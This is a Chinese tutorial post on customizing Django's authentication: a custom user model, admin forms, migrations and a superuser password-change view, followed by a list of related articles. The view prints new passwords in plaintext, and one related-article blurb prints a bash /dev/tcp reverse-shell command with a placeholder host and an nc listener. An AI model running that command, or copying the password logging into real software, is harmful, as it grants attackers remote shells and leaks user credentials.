Django自定义认证系统
官网教程:https://docs.djangoproject.com/en/2.2/topics/auth/customizing/
app下的model.py
from django.db import models
from django.contrib.auth.models import (
BaseUserManager, AbstractBaseUser,PermissionsMixin
) # Create your models here. class UserProfileManager(BaseUserManager):
def create_user(self, email, name, password=None):
"""
创建用户
"""
if not email:
raise ValueError('用户必须有一个邮箱地址') user = self.model(
email=self.normalize_email(email),
name=name,
) user.set_password(password)
user.save(using=self._db)
return user def create_superuser(self, email, name, password):
"""
创建并保存超级用户
"""
user = self.create_user(
email,
password=password,
name=name,
)
user.is_superuser = True
user.save(using=self._db)
return user class UserProfile(AbstractBaseUser,PermissionsMixin):
email = models.EmailField(
verbose_name='邮箱',
max_length=255,
unique=True,
) name = models.CharField(max_length=32,verbose_name="用户名")
is_active = models.BooleanField(default=True)
is_staff = models.BooleanField(default=True) objects = UserProfileManager() USERNAME_FIELD = 'email' # 登录的字段
REQUIRED_FIELDS = ['name'] # 必须要有的字段 def __str__(self):
return self.email def get_full_name(self):
# The user is identified by their email address
return self.email def get_short_name(self):
# The user is identified by their email address
return self.email class Meta:
permissions = (
('make_myself', '自定制权限'),
)
settings.py文件中需配置:
AUTH_USER_MODEL = 'app01.UserProfile'
在app下的admin.py中配置:
from django import forms from django.contrib.auth.models import Group
from django.contrib.auth.admin import UserAdmin as BaseUserAdmin
from django.contrib.auth.forms import ReadOnlyPasswordHashField from app01.models import UserProfile class UserCreationForm(forms.ModelForm):
"""A form for creating new users. Includes all the required
fields, plus a repeated password."""
password1 = forms.CharField(label='密码', widget=forms.PasswordInput)
password2 = forms.CharField(label='确认密码', widget=forms.PasswordInput) class Meta:
model = UserProfile
fields = ('email', 'name') def clean_password2(self):
# Check that the two password entries match
password1 = self.cleaned_data.get("password1")
password2 = self.cleaned_data.get("password2")
if password1 and password2 and password1 != password2:
raise forms.ValidationError("密码不匹配")
return password2 def save(self, commit=True):
user = super().save(commit=False)
# 密码明文根据算法改成密文
user.set_password(self.cleaned_data["password1"])
if commit:
user.save()
return user class UserChangeForm(forms.ModelForm):
"""A form for updating users. Includes all the fields on
the user, but replaces the password field with admin's
password hash display field.
"""
password = ReadOnlyPasswordHashField() class Meta:
model = UserProfile
fields = ('email', 'password', 'name', 'is_active',"is_superuser") def clean_password(self):
# Regardless of what the user provides, return the initial value.
# This is done here, rather than on the field, because the
# field does not have access to the initial value
return self.initial["password"] class UserProfileAdmin(BaseUserAdmin):
# The forms to add and change user instances
form = UserChangeForm
add_form = UserCreationForm # The fields to be used in displaying the User model.
# These override the definitions on the base UserAdmin
# that reference specific fields on auth.User.
list_display = ('email', 'name', 'is_staff', 'is_active','is_superuser')
list_filter = ('is_superuser',)
fieldsets = (
(None, {'fields': ('email', 'password')}),
('用户信息', {'fields': ('name',)}),
('系统权限', {'fields': ('is_superuser','is_staff', 'is_active','user_permissions','groups')}),
)
# add_fieldsets is not a standard ModelAdmin attribute. UserAdmin
# overrides get_fieldsets to use this attribute when creating a user.
add_fieldsets = (
(None, {
'classes': ('wide',),
'fields': ('email', 'name', 'password1', 'password2')}
),
)
search_fields = ('email',)
ordering = ('email',)
filter_horizontal = ('user_permissions','groups')

最后在pycharm的命令行生成记录,并同步到数据库

输入命令:python3 manage.py makemigrations
再次输入:python3 manage.py migrate
注意:我这里是python3进入python3交互界面,你的可能是python。根据自己情况而定!
最后一步:创建超级用户

启动django项目后,输入admin进入后台管理:



此时,你发现我们的密码是密文,我们必须支持管理员可以在后台修改所有人的密码。
具体步骤如下:
step1

step2

step3
templates/password_change.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>修改密码</title>
</head>
<body>
<h1>修改密码</h1>
<form action="" method="post">
{% csrf_token %}
<p>
<input type="password" name="pwd1" placeholder="密码">
</p> <p>
<input type="password" name="pwd2" placeholder="确认密码">
</p> <p>
<input type="submit" value="修改">
</p>
</form>
</body>
</html>
app01/views.py
def password_reset_form(request,app_name,table_db_name,user_id):
# 获取被修改对象
user_obj = request.user._meta.model.objects.get(id=user_id)
print("**********:{}".format(user_obj))
can_change_user_password = False
# 管理员修改其他人的密码/管理员修改自己的密码
if request.user.is_superuser or request.user.id == user_obj.id:
print(request.user.is_superuser)
can_change_user_password = True
if can_change_user_password:
if request.method == "GET":
return render(request,"password_change.html")
else:
if request.POST.get("pwd1") != "" and request.POST.get("pwd1") == request.POST.get("pwd2"):
user_obj = User.objects.filter(id=user_obj.id).first()
user_obj.set_password(request.POST.get("pwd2"))
user_obj.save()
print(request.POST.get("pwd2"))
return redirect("/admin/")
else:
return HttpResponse("只有管理员可以修改密码")
此时,我们就实现了管理员可以在后台修改任何用户的密码


Django自定义认证系统的更多相关文章
- django用户认证系统——拓展 User 模型
Django 用户认证系统提供了一个内置的 User 对象,用于记录用户的用户名,密码等个人信息.对于 Django 内置的 User 模型, 仅包含以下一些主要的属性: username,即用户名 ...
- Django的认证系统
Django自带的用户认证 我们在开发一个网站的时候,无可避免的需要设计实现网站的用户系统.此时我们需要实现包括用户注册.用户登录.用户认证.注销.修改密码等功能,这还真是个麻烦的事情呢. Djang ...
- Django的认证系统—auth模块
Django的认证系统 auth模块的知识点总结: 1. 创建超级用户 python manage.py createsuperuser from django.contrib import auth ...
- django 自定义认证
在Django中自定义身份验证 Django 自带的认证系统足够应付大多数情况,但你或许不打算使用现成的认证系统.定制自己的项目的权限系统需要了解哪些一些关键点,即Django中哪些部分是能够扩展或替 ...
- django用户认证系统——拓展 User 模型2
Django 用户认证系统提供了一个内置的 User 对象,用于记录用户的用户名,密码等个人信息.对于 Django 内置的 User 模型, 仅包含以下一些主要的属性: username,即用户名 ...
- django用户认证系统——基本设置1
网站提供登录.注册等用户认证功能是一个常见的需求.因此,Django 提供了一套功能完整的.灵活的.易于拓展的用户认证系统:django.contrib.auth.在本教程中,我将向你展示 auth ...
- DRF内置认证组件之自定义认证系统
自定义token认证 我们知道,在django项目中不管路由以及对应的视图类是如何写的,都会走到 dispatch 方法,进行路由分发, 在阅读 APIView类中的dispatch 方法的源码中,有 ...
- “Django用户认证系统”学习资料收集
首推追梦人物——Django用户认证系统 待续……
- Django之认证系统
Django之认证系统 cookie和session 1.cookie不属于http协议范围,由于http协议无法保持状态,但实际情况,我们却又需要“保持状态”,因此cookie就是在这样一个场景下诞 ...
随机推荐
- CITRIX ADC配置SSL卸载
如上图,将ssl的加密解密放在前端的负载均衡设备上,客户端到VPX的访问都是加密的,VPX到后端的服务器都是http的 Step1:上传证书到VPX,如下图: Step2:创建SSL的虚拟服务器并且绑 ...
- C# 发送电子邮件(smtp)
相关享目托管在github: https://github.com/devgis/CSharpCodes
- 反弹shell理解
靶机 bash -i >& /dev/tcp/[ip]/[port1] 0>&1 攻击机 nc -vvlp [port1] 靶机中把 >&输成 > &a ...
- docker 安装 redis5.0.3
一.拉取官方5.0.3镜像 [root@localhost ~]# docker pull redis:5.0.3 下载完成 [root@localhost ~]# docker pull redis ...
- C# 中的IComparable和IComparer
前言 在开发过程中经常会遇到比较排序的问题,比如说对集合数组的排序等情况,基本类型都提供了默认的比较算法,如string提供了按字母进行排序,而int整数则是根据整数大小进行排序.但是在引用类型中(具 ...
- 【题解】幼儿园篮球题(范德蒙德卷积+斯特林+NTT)
[题解]幼儿园篮球题(NTT+范德蒙德卷积+斯特林数) 题目就是要我们求一个式子(听说叫做超几何分布?好牛逼的名字啊) \[ \sum_{i=1}^{S}\dfrac 1 {N \choose n_i ...
- $AT2163\ Median\ Pyramid\ Easy$ 构造
正解:构造 解题报告: 传送门$QwQ$ 考虑如果有两个相邻格子是相同数字那么它们以上这两列就都会是这列数字(显然$QwQ$? 所以考虑只要构造出第$n-1$行的中心和中心右侧($or$左侧一样的$Q ...
- [gitHub实践] git基础:远程仓库的使用
[gitHub实践] git基础:远程仓库的使用 版权2019.6.2更新 git 基础 远程仓库的使用 git remote # 查看远程仓库 $ git remote # 克隆的仓库服务器默认名字 ...
- 【接口测试】使用httpClient获取cookies+携带获取的cookies访问get接口
数据准备 在本机或者远端机器安装部署moco-runner(参考:https://blog.csdn.net/qq_32706349/article/details/80472445) 这里我们只需要 ...
- SQL练习题(一)
目录 题目一:交换性别(简单) 实现思路 提交代码 题目二:连续出现的数字(中等) 实现思路 方式一 方式二 提交代码 方式一 方式二 题目三:换座位(中等) 实现思路 方式一 方式二 提交代码 方式 ...